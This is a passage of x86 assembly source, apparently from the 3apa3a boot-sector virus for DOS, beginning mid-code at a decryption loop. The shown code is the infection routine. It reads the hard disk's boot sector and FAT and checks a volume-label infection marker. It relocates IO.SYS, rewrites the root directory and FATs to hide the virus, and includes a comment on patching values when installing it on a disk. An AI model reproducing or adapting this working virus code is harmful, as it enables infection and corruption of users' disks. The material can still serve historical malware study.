patch_incptr label word
db 0 ; temporary value for cryptval
inc di
db 81 ; cmp
patch_endptr label word
db 0ff ; pointer
dw adj_ofs + end_crypt
jne decrypt_loop
bs_3apa3a_decrypt = $ - 1
jmp short enter_bs_3apa3a
nop
load_original: xor dx,dx ; set up the read
mov es,dx ; of the original boot sector
db 0B9 ; mov cx, XXXX
patch3 dw 3
db 0B6
patch4 db 1
mov bx,ds ; es:bx = 0:7C00
mov ax,201
db 0ebh ; jump to code in stack
dw bs_3apa3a - 4 - ($ + 1)
org $ - 1
enter_bs_3apa3a:cli
xor ax,ax
mov ss,ax ; set stack to just below us
mov sp,7C00
sti
mov dl,80 ; reset hard drive
int 13
mov ax,2F72 ; encode JNZ load_original at
; 7BFE
mov ds,sp ; set segment registers to
mov es,sp ; 7C00
push ax
mov word ptr ds:200,201 ; do a read
mov ds:202,dl ; from the hard drive
xor bx,bx ; read to 7C00:0
mov dh,1 ; read head 1
mov cx,1 ; read sector 1
; (assumes active boot
; sector is here)
mov ax,13CDh ; encode int 13 at 7BFC
push ax
call exec_int13 ; do the read
mov bx,203
cmp byte ptr [bx-4],0AA ; is it valid bs?
jnz_load_original:
jne load_original ; if not, assume infected and
; transfer control to it
mov ax,ds:13 ; get number of sectors in
dec ax ; image - 1
cmp ax,5103 ; hard drive too small? (5103h
jbe load_original ; sectors ~ 10.6 megs)
mov ax,ds:1C ; get number hidden sectors
add ax,ds:0E ; add number reserved sectors
mov ds:9,ax ; store at location that holds
; the end of OEM signature
add ax,ds:16 ; add sectors per FAT
dec ax ; go down two sectors
dec ax
push ax
xor dx,dx
mov cx,dx
call work_on_sectors ; load end of FAT to 7C00:203
mov ax,ds:16 ; get sectors per FAT
push ax ; save the value
mul byte ptr ds:10 ; multiply by # FATs
add ax,ds:9 ; calculate start of root dir
mov ds:7,ax ; store it in work buffer
mov cl,4
mov si,ds:11 ; get number sectors the
shr si,cl ; root directory takes
add si,ax ; and calculate start of data
mov ds:5,si ; area and store it in buffer
call work_on_sectors ; get first 5 sectors of the
; root directory
test byte ptr ds:403+0Bh,8 ; volume label bit set on first
; entry? (infection marker)
jne_load_original: ; if so, already infected, so
jnz jnz_load_original ; quit
xor si,si
mov bx,1003
mov ax,ds:403+1A ; get starting cluster number
; of IO.SYS
read_IO_SYS: push ax ; convert cluster to absolute
call clus_to_abs_sec ; sector number
call work_on_sector ; read in one cluster of IO.SYS
inc si
pop ax
push bx ax
mov bx,403+0A00 ; read into this buffer
push bx
mov al,ah ; find the sector with the FAT
xor dx,dx ; entry corresponding to this
mov ah,dl ; cluster
add ax,ds:9
call work_on_sectors ; read in the FAT
pop bx ax
mov ah,dl
shl ax,1
mov di,ax
mov ax,[bx+di] ; grab the FAT entry (either EOF
; or next cluster number)
pop bx ; corresponding to this cluster
cmp ax,0FFF0 ; is there any more to read?
jb read_IO_SYS ; if so, keep going
inc byte ptr ds:201 ; change function to a write
pop cx
dec cx
dec cx
mov ds:4,cl
mov di,401 ; scan the end of the FAT
mov cx,100
mov bp,-1
copy_IO_SYS: xor ax,ax ; look for unused clusters
repne scasw
jnz jne_load_original
mov [di+2],bp
mov bx,cx
mov bh,ds:4
mov bp,bx ; save starting cluster of
push bp cx ; where IO.SYS will be moved
mov ah,ds:0Dh
shl ax,1
dec si
mul si
mov bx,ax
add bx,1003
mov ax,bp
call clus_to_abs_sec
call work_on_sector ; move IO.SYS to end of HD
pop cx bp
or si,si
jnz copy_IO_SYS
mov si,0DE1 ; move all but the first two
mov di,0E01 ; directory entries down one
mov cx,4D0 ; (10 dir entries / sector,
rep movsw ; 5 sectors)
; DF set by exec_int13
mov si,421 ; move IO.SYS entry down two
mov cx,10 ; entries
rep movsw
mov ds:400+2*20+1Dh,bp ; set starting cluster of the
; moved original IO.SYS
or byte ptr ds:40E,8 ; set volume label bit on first
; IO.SYS entry
mov bx,403 ; point to root directory
mov ax,ds:7 ; get starting cluster of
xor dx,dx ; root dir
mov cl,4
call work_on_sectors ; write updated root directory
pop ax ; to the disk
write_FATs: mov bx,203 ; point to the updated FAT
call work_on_sectors ; write changed end of FAT
dec ax
add ax,ds:16 ; add sectors per FAT
dec byte ptr ds:10 ; processed all the FATs?
jnz write_FATs
mov ax,bp
call clus_to_abs_sec
mov cs:7C03,ax ; store the values
mov cs:7C05,dx
mov byte ptr cs:7C01,1Ch
xor ax,ax ; reset default drive
mov dx,ax
int 13
mov ax,201 ; read in original boot sector
; You must patch the following values if you are installing 3apa3a on a disk
db 0b9 ; mov cx, XXXX
patch1 dw 0
db 0b6 ; mov dh, XX
patch2 db 0
mov bx,0E03
call perform_int13
mov ax,ds:403+1A ; get starting cluster number
call clus_to_abs_sec ; of IO.SYS
xor cx,cx
call work_on_sectors
mov bx,ds
mov es,cx
call work_on_sectors
go_load_original:
jmp load_original
exec_int13: mov ax,ds:200 ; get function from memory
mov dl,ds:202 ; get drive from memory
perform_int13: int 13
jc go_load_original
std
retn
work_on_sectors:inc cx
work_on_sector: push cx dx ax
call abs_sec_to_BIOS
call exec_int13
pop ax dx cx
add ax,1 ; calculate next sector
db 83,0D2,0 ; adc dx,0 ; (don't use INC because
add bh,2 ; INC doesn't set carry)
loop work_on_sector ; do it for the next sector
retn
abs_sec_to_BIOS:div word ptr ds:18 ; divide by sectors per track
mov cx,dx
inc cl
xor dx,dx
div word ptr ds:1A ; divide by number of heads
ror ah,1
ror ah,1
xchg ah,al
add cx,ax
mov dh,dl
retn
clus_to_abs_sec:mov cl,ds:0Dh ; get sectors per cluster
xor ch,ch ; (convert to word)
dec ax
dec ax
mul cx ; convert cluster number to
add ax,ds:5 ; absolute sector number
end_crypt: db 83,0D2,0 ; adc dx,0
retn
dw 0AA55 ; boot signature
end _3apa3a